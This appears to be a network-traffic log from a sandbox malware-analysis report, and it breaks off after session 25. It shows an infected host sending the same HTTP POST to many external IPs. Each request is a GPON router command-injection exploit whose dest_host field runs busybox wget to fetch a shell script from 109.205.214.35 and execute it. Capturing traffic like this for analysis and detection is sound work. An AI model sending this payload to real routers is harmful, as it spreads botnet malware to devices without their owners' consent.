Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.430918932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	58790	212.1.199.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.430927038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	50886	42.184.180.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.430958033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	47356	109.9.221.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.430982113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	33404	42.35.152.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431016922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	47082	118.140.70.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431076050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	56342	109.234.17.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431092978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	48824	118.186.165.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431134939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	60360	212.172.144.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431170940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	37548	42.172.183.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431200981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	42812	109.116.191.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431257963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	56200	212.29.81.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431277037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	36292	212.255.218.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431294918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	54286	5.65.55.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431363106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	41974	109.164.24.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431396008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	60318	212.250.48.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431416988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	49828	109.14.220.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431437969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	35318	212.12.204.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431516886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	47848	5.62.151.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431538105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	52936	42.251.21.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431574106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	52266	109.181.73.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431596994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	37238	118.31.15.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431634903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	39574	109.100.32.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431648016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	43262	42.148.57.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431668043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	39636	5.226.245.18	443

Timestamp	Bytes transferred	Direction	Data
